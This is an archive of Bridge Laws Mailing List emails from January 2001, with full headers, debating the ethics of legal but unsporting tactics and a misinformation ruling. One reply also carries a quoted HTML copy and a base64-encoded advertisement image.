From owner-bridge-laws Mon Jan 1 20:29:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f019S8i08941 for bridge-laws-outgoing; Mon, 1 Jan 2001 20:28:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f019Rst08880 for ; Mon, 1 Jan 2001 20:27:55 +1100 (EST) Received: from dodona (host213-1-49-88.host.btclick.com [213.1.49.88]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id JAA06125; Mon, 1 Jan 2001 09:27:19 GMT Message-ID: <001501c073d5$47974c60$583101d5@dodona> From: "Grattan Endicott" To: Cc: "marilyn" , "Ralph Cohen" , "ton kooijman" , "Virgil Anderson" , "Antonio Riccardi" , "Paul Endicott" , "Patricia Davidson" , "lynn hunt" , "Kojak" , "Grattan Endicott" , "Cathrina Endicott" , "cathie ritchie" , , "Anna Gudge" Subject: [BLML] Fresh start Date: Mon, 1 Jan 2001 09:27:24 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott Today is the first day of the rest of your life. <===> 01.01.01 "Ring out the thousand wars of old, Ring in the thousand years of peace." 'In Memoriam' -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 2 08:13:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f01LBbx27025 for bridge-laws-outgoing; Tue, 2 Jan 2001 08:11:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f01LBUt27021 for ; Tue, 2 Jan 2001 08:11:31 +1100 (EST) Received: from twkdckuj (ppp039.pullman.com [204.227.174.39]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id NAA18091 for ; Mon, 1 Jan 2001 13:20:55 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010101131330.0070622c@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 01 Jan 2001 13:14:44 -0800 To: bridge-laws@rgb.anu.edu.au From: "N. Scott Cardell" Subject: Re: [BLML] Annoyingly irregular Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 12:55 PM 12/29/00 +0000, you wrote: >In-Reply-To: <3.0.32.20001226113122.0071ac70@pullman.com> >"N. Scott Cardell" > >> When Adam Wildavsky writes: >> >> >>In life an action can be legal but immoral. This is not possible in >> >>bridge. The difference is that bridge, being a game, is defined by >> >>its laws. Without the laws we have no context for judging an action >> >>moral or immoral. This is an important point, and so far as I can >> >>tell one often missed. >> >> I can only assume that he is saying that any of the following are >> perfectly >> moral: >> >> 1. Seeking redress for UI based on a legalistic definition of LA when >> you know that the particularly player involved really would always take >> the action in question. > >This means you think the particular player had no LA. Since you have >no "substantial reason to believe that an opponent who had a logical >alternative" etc under L16 you should not be calling the director - thus >this is illegal. IMHO this response is off base. Of course the director was (and should be) called before you have enough information to decide whether your opponent had a LA. You call the director during, for example, the following auction: West North(you) East South 1D, Double, 4H, 4S, slow pass, pass, 5H The director lets the bidding conclude (all pass) and lets the play proceed and then returns at the end of the hand. The director asks the opponents a few questions and lays out the hand. Now you realize that this particular East's style is such that had no LA. I do not believe that the law requires you to volunteer this information, I do believe that morally you should. >> 2. Giving explanations that meet the legal requirements but are >> designed to leave the questioner uncertain as to key aspects of the bid >> and then if they question you further call the director and seek redress >> for UI because they quizzed you. (The most common example of this >> occurs with artificial raises. For example: >> 1S P 3D(alert) Meaning? 10-11 points with four trumps. > >This is not full explanation (see L20/75). If you are deliberately trying >to give less than full explanations you are acting illegally. Again this response seems to be Philadelphia lawyering IMHO. Perhaps "a spade raise with 10-11 points and 4 card spade support" would be better. But the point is that, at least in my experience, the complete explanation is not required to include "says nothing about diamonds." (If instead you where using a fit showing jump with the same range and support you would be required to include in your explanation that 3D showed diamonds.) I believe that morally, one should give an explanation that does include "says nothing about diamonds," at least when you believe that your opponents might not be experienced enough to realize that. >> 3. Seeking redress for MI when you know that the MI had no effect. > >The director is called (compulsory in MI situations) and asks you how it >might have affected you - you say "It didn't" - no adjustment. Or you lie >to the TD - a very serious breach of L74. Again, I was not suggesting that it was legal to lie, only that it could be legal to keep silent. For example, the MI did affect your bid, but you know that the opponents would have reached the same contract anyway, because you know their style. Or perhaps you aren't asked and fail to volunteer that you (or your partner) would later have "corrected" to the same doomed contract. >I agree that you almost certainly won't get caught if you try any of the >above but they are still illegal. > > >> 4. Intentionally trying to confuse inexperienced players in the bidding >> and then using the laws to try to gain advantage from their hesitations. > >Obviously it is perfectly legal (and moral) to develop a system which will >be difficult for inexperienced or ill-prepared opponents to defend (even >with full disclosure). Obviously you may call the TD if you believe >opponents may have taken advantage of UI (but see 1). This combination is legal, but not always moral. For example, it is perfectly legal to play different defenses against straight Blackwood and RKCB. But if to choose a complex and system over straight Blackwood and then call the director if the opponents ask for explanations because of UI is at least bad form. I personally have seen bridge players who were inexperienced at duplicate treated in this way and end up deciding to stick to rubber bridge in the future. IMO experienced players should give inexperienced duplicate players a lot of leeway in asking questions about any complicated conventions that one uses. It makes the game more pleasant and it is good for bridge, particularly here in ACBL land where there are far too few new duplicate players. >You can also use >any info you gain from opponents hesitations (at your own risk). But if >you are intentionally trying to confuse them in some other way you are in >breach of L74. IMO, one should try to give inexperienced duplicate players explanations that cover more than what is legally required and beyond what an experienced duplicate player would need. Not doing this is often enough to confuse them. Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 2 11:40:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f020YCq07510 for bridge-laws-outgoing; Tue, 2 Jan 2001 11:34:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe9.law4.hotmail.com [216.33.148.113]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f020Y5t07473 for ; Tue, 2 Jan 2001 11:34:06 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 1 Jan 2001 16:33:51 -0800 X-Originating-IP: [194.222.6.72] From: "David Stevenson" To: "BLML" Subject: [BLML] argument(s) Date: Tue, 2 Jan 2001 00:34:43 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 02 Jan 2001 00:33:51.0546 (UTC) FILETIME=[ADECD1A0:01C07453] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Sorry: main computer down, and posting via Webmail + Outlook Express is dreadful. Hope it does not look too awful, and I have no idea whether it will thread properly! I shall assume you can remember the hand since this method does not quote sensibly. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ North's problem was : two things could have happened : a) E/W know what they are doing ; East overcalled on bilge, South has short spades. In this case, N/S might well win 5C, North has to bid now. b) West had long hearts and out, and wanted to go out of a potentially desastrous redouble (the "classical" explanation). East has given MI. South has short clubs. In this case, N/S would do well defending 2S undoubled, which seems to be a 5/0 'fit', and thank E/W for telling them they should not play 4S. North choose b) and passed. As you can see, he was wrong. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ Players have the right to know their opponents system. Choosing [b] is crazy because they are getting and deserving no protection from the Laws. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ My questions are : 1a) Wasn't it better for North to choose a), given that, if b) was the truth, he could have received redress ? Or would it be too much of a double shot ? Of course, E/W's system notes, however precise, didn't cover such an unusual case. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ Why a double shot? North was just trying to get a bad board. Of course it is not a double shot since he has no reason of any sort to assume thatt he opponents have committeed an infraction. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ By the way, North didn't lodge any appeal (there isn't any TD present in such matches) +++++++++++++++++++++++++++++++++++++++++++++++++++++++ There are no TDs present in general in matches in England but there is a perfectly good system for telephoning a TD for a ruling. If it comes to that, anyone who wants a ruling and speaks English could always try ringing me on +44 151 677 7412: I do not care where they are, I am always happy to help. But North has no right to appeal since he did not ask for a ruling. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1b)Since there is a general policy that when 'strange systems' cause mix-ups, they are often held partially responsible, it's unsure whether North would have received redress had he choosen a) and been wrong. So what could North have done ? +++++++++++++++++++++++++++++++++++++++++++++++++++++++ I am surprised to hear that American views apply in Belgium. Strange systems are either permitted or not, and if they are permitted there is no reason for rulings to go agaisnt you because your system is strange. Of course, there are one or two regulations or interpretations re strange systems [the treatment of HUMs is an example of hte former, and the approach to two-suited overcalls in the Netherlands is an example of the latter] and if they apply it is different. But there is no such general approach htat I know of. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2) In the post-mortem to this deal, and on the mail, several arguments were used. For each of them, the same question : were they relevant ? (5 points for evey correct response, for UK residents) 2a) East's "overcall" is peculiar (vulnerable !), and its pecularity did contribute to North's decision (points simply didn't add up, if West's bid is strong and East's genuine). Since it's East style to overcall on anything (and E/W agree that it is the case), West should have volunteered this information. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ Absolutely true. If East plays weak overcalls then North/South have an absolute right to know this. It should be on hte CC and part of the explanations. However, that really does not explain North's approach: if he wants to assume his opponents do not know what they are doing he loses his right to redress. And, of course, on hte actual hand, East could have been stronger, West weaker, and the North/South hands the same. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2b) Deciding that this E/W pair, who are proud of their fine tuning, had a mix-up is a deep position indeed. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ As I say above, it is a stupid approach whether it is this pair or not because it removes the protection of the Laws. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2c) North is a former teammate of East, and can't pretend he doesn't know East's style. +++++++++++++++++++++++++++++++++++++++++++++++++++++++ North does not seem to have come out of htis very well, does he? I think he tried for the double shot in the way he did approach it, and deserves nothing. -- David Stevenson Liverpool, England, UK Reply to hotmail but copy to blakjak please http://blakjak.com/brg_menu.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 2 13:45:33 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f022eHs23345 for bridge-laws-outgoing; Tue, 2 Jan 2001 13:40:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f022e7t23298 for ; Tue, 2 Jan 2001 13:40:08 +1100 (EST) Received: from vnmvhhid ([62.255.16.79]) by mta06-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20010102023954.KLUB283.mta06-svc.ntlworld.com@vnmvhhid> for ; Tue, 2 Jan 2001 02:39:54 +0000 Message-ID: <001101c07465$55cea9a0$4f10ff3e@vnmvhhid> From: "Anne Jones" To: "BLML" References: Subject: Re: [BLML] argument(s) Date: Tue, 2 Jan 2001 02:39:46 -0000 MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_978402859683" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_978402859683 Content-Type: multipart/alternative; boundary="----=_NextPart_001_978402859683" ------=_NextPart_001_978402859683 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Oh dear - the peasants again. Certainly it will not thread when you introduce it as a new subject. You should write Re in your subject line David :-) There are many of us that use OE with great success, why do you mock so? A Happy New Year to all (Y Flwyddyn Newydd Dda i chi i gyd) Anne ----- Original Message ----- From: "David Stevenson" To: "BLML" Sent: Tuesday, January 02, 2001 12:34 AM Subject: [BLML] argument(s) > Sorry: main computer down, and posting via Webmail + Outlook Express is > dreadful. Hope it does not look too awful, and I have no idea whether it > will thread properly! > > I shall assume you can remember the hand since this method does not > quote sensibly. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > North's problem was : two things could have happened : > > a) E/W know what they are doing ; East overcalled on bilge, South has short > spades. In this case, N/S might well win 5C, North has to bid now. > > b) West had long hearts and out, and wanted to go out of a potentially > desastrous redouble (the "classical" explanation). East has given MI. South > has short clubs. In this case, N/S would do well defending 2S undoubled, > which seems to be a 5/0 'fit', and thank E/W for telling them they should > not play 4S. > > North choose b) and passed. As you can see, he was wrong. ++++++++++++++++++++++++++++++++++++++++++++++++++ > > Players have the right to know their opponents system. Choosing [b] is > crazy because they are getting and deserving no protection from the Laws. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > My questions are : > > 1a) Wasn't it better for North to choose a), given that, if b) was the > truth, he could have received redress ? Or would it be too much of a double > shot ? Of course, E/W's system notes, however precise, didn't cover such an > unusual case. ++++++++++++++++++++++++++++++++++++++++++++++++++ > > Why a double shot? North was just trying to get a bad board. Of course > it is not a double shot since he has no reason of any sort to assume thatt > he opponents have committeed an infraction. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > By the way, North didn't lodge any appeal (there isn't any TD present in > such matches) ++++++++++++++++++++++++++++++++++++++++++++++++++ > > There are no TDs present in general in matches in England but there is a > perfectly good system for telephoning a TD for a ruling. If it comes to > that, anyone who wants a ruling and speaks English could always try ringing > me on +44 151 677 7412: I do not care where they are, I am always happy to > help. > > But North has no right to appeal since he did not ask for a ruling. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > 1b)Since there is a general policy that when 'strange systems' cause > mix-ups, they are often held partially responsible, it's unsure whether > North would have received redress had he choosen a) and been wrong. So what > could North have done ? ++++++++++++++++++++++++++++++++++++++++++++++++++ > > I am surprised to hear that American views apply in Belgium. Strange > systems are either permitted or not, and if they are permitted there is no > reason for rulings to go agaisnt you because your system is strange. Of > course, there are one or two regulations or interpretations re strange > systems [the treatment of HUMs is an example of hte former, and the approach > to two-suited overcalls in the Netherlands is an example of the latter] and > if they apply it is different. But there is no such general approach htat > I know of. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > 2) In the post-mortem to this deal, and on the mail, several arguments were > used. For each of them, the same question : were they relevant ? (5 points > for evey correct response, for UK residents) > > 2a) East's "overcall" is peculiar (vulnerable !), and its pecularity did > contribute to North's decision (points simply didn't add up, if West's bid > is strong and East's genuine). Since it's East style to overcall on > anything (and E/W agree that it is the case), West should have volunteered > this information. ++++++++++++++++++++++++++++++++++++++++++++++++++ > > Absolutely true. If East plays weak overcalls then North/South have an > absolute right to know this. It should be on hte CC and part of the > explanations. However, that really does not explain North's approach: if he > wants to assume his opponents do not know what they are doing he loses his > right to redress. > > And, of course, on hte actual hand, East could have been stronger, West > weaker, and the North/South hands the same. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > 2b) Deciding that this E/W pair, who are proud of their fine tuning, had a > mix-up is a deep position indeed. ++++++++++++++++++++++++++++++++++++++++++++++++++ > > As I say above, it is a stupid approach whether it is this pair or not > because it removes the protection of the Laws. > ++++++++++++++++++++++++++++++++++++++++++++++++++ > 2c) North is a former teammate of East, and can't pretend he doesn't know > East's style. ++++++++++++++++++++++++++++++++++++++++++++++++++ > > North does not seem to have come out of htis very well, does he? I > think he tried for the double shot in the way he did approach it, and > deserves nothing. > > > > -- > David Stevenson Liverpool, England, UK > > Reply to hotmail but copy to blakjak please > http://blakjak.com/brg_menu.htm > -- > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ ------=_NextPart_001_978402859683 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Oh dear - the peasants again.
Certainly it will not thread when you introduce it as a new subject.
You should write Re in your subject line David :-)
There are many of us that use OE with great success, why do you mock so?
A Happy New Year to all (Y Flwyddyn Newydd Dda i chi i gyd)
Anne
----- Original Message -----
From: "David Stevenson" <bluejak666@hotmail.com>
To: "BLML" <bridge-laws@rgb.anu.edu.au>
Sent: Tuesday, January 02, 2001 12:34 AM
Subject: [BLML] argument(s)
 
 
> Sorry: main computer down, and posting via Webmail + Outlook
Express is
> dreadful. Hope it does not look too awful, and I have no idea whether<= BR> it
> will thread properly!
>
> I shall assume you can remember the hand since this method does
not
> quote sensibly.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> North's problem was : two things could have happened :
>
> a) E/W know what they are doing ; East overcalled on bilge, South has short
> spades. In this case, N/S might well win 5C, North has to bid now.
>
> b) West had long hearts and out, and wanted to go out of a potentially<= BR> > desastrous redouble (the "classical" explanation). East has given MI. South
> has short clubs. In this case, N/S would do well defending 2S
undoubled,
> which seems to be a 5/0 'fit', and thank E/W for telling them they
should
> not play 4S.
>
> North choose b) and passed. As you can see, he was wrong.
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> Players have the right to know their opponents system. Choosing [b] is
> crazy because they are getting and deserving no protection from the
Laws.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> My questions are :
>
> 1a) Wasn't it better for North to choose a), given that, if b) was the<= BR> > truth, he could have received redress ? Or would it be too much of a double
> shot ? Of course, E/W's system notes, however precise, didn't cover
such an
> unusual case.
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> Why a double shot? North was just trying to get a bad board. Of course
> it is not a double shot since he has no reason of any sort to assume thatt
> he opponents have committeed an infraction.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> By the way, North didn't lodge any appeal (there isn't any TD present in
> such matches)
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> There are no TDs present in general in matches in England but
there is a
> perfectly good system for telephoning a TD for a ruling. If it comes to
> that, anyone who wants a ruling and speaks English could always try
ringing
> me on +44 151 677 7412: I do not care where they are, I am always
happy to
> help.
>
> But North has no right to appeal since he did not ask for a
ruling.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> 1b)Since there is a general policy that when 'strange systems' cause > mix-ups, they are often held partially responsible, it's unsure
whether
> North would have received redress had he choosen a) and been wrong. So<= BR> what
> could North have done ?
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> I am surprised to hear that American views apply in Belgium.
Strange
> systems are either permitted or not, and if they are permitted there is no
> reason for rulings to go agaisnt you because your system is strange. Of
> course, there are one or two regulations or interpretations re strange<= BR> > systems [the treatment of HUMs is an example of hte former, and the
approach
> to two-suited overcalls in the Netherlands is an example of the
latter] and
> if they apply it is different. But there is no such general approach<= BR> htat
> I know of.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> 2) In the post-mortem to this deal, and on the mail, several arguments<= BR> were
> used. For each of them, the same question : were they relevant ? (5
points
> for evey correct response, for UK residents)
>
> 2a) East's "overcall" is peculiar (vulnerable !), and its pecularity did
> contribute to North's decision (points simply didn't add up, if West's<= BR> bid
> is strong and East's genuine). Since it's East style to overcall on
> anything (and E/W agree that it is the case), West should have
volunteered
> this information.
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> Absolutely true. If East plays weak overcalls then North/South
have an
> absolute right to know this. It should be on hte CC and part of the > explanations. However, that really does not explain North's approach:<= BR> if he
> wants to assume his opponents do not know what they are doing he loses<= BR> his
> right to redress.
>
> And, of course, on hte actual hand, East could have been stronger,<= BR> West
> weaker, and the North/South hands the same.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> 2b) Deciding that this E/W pair, who are proud of their fine tuning, had a
> mix-up is a deep position indeed.
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> As I say above, it is a stupid approach whether it is this pair or<= BR> not
> because it removes the protection of the Laws.
>
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
> 2c) North is a former teammate of East, and can't pretend he doesn't know
> East's style.
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
> North does not seem to have come out of htis very well, does he? I
> think he tried for the double shot in the way he did approach it, and > deserves nothing.
>
>
>
> --
> David Stevenson Liverpool, England, UK<= BR> > <bluejak666@hotmail.com> <bridge@blakjak.com&= gt;
> Reply to hotmail but copy to blakjak please
> http://blakjak.com/brg_menu= htm
> --
>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au
with
> "(un)subscribe bridge-laws" or just "help" in the BODY of the message.<= BR> > A Web archive is at
http://rgb.= anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/
 

Stamp powered by www.mailround.com

------=_NextPart_001_978402859683-- ------=_NextPart_000_978402859683 Content-Type: image/gif; name="978428045838.gif" Content-Transfer-Encoding: base64 Content-Location: http://realmedia-a592.d4p.net/6/592/1130/0001/multi1.rmuk.co.uk:80/RealMedia/ads/Creatives/Mailround.com/onetel002/onetelnew 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 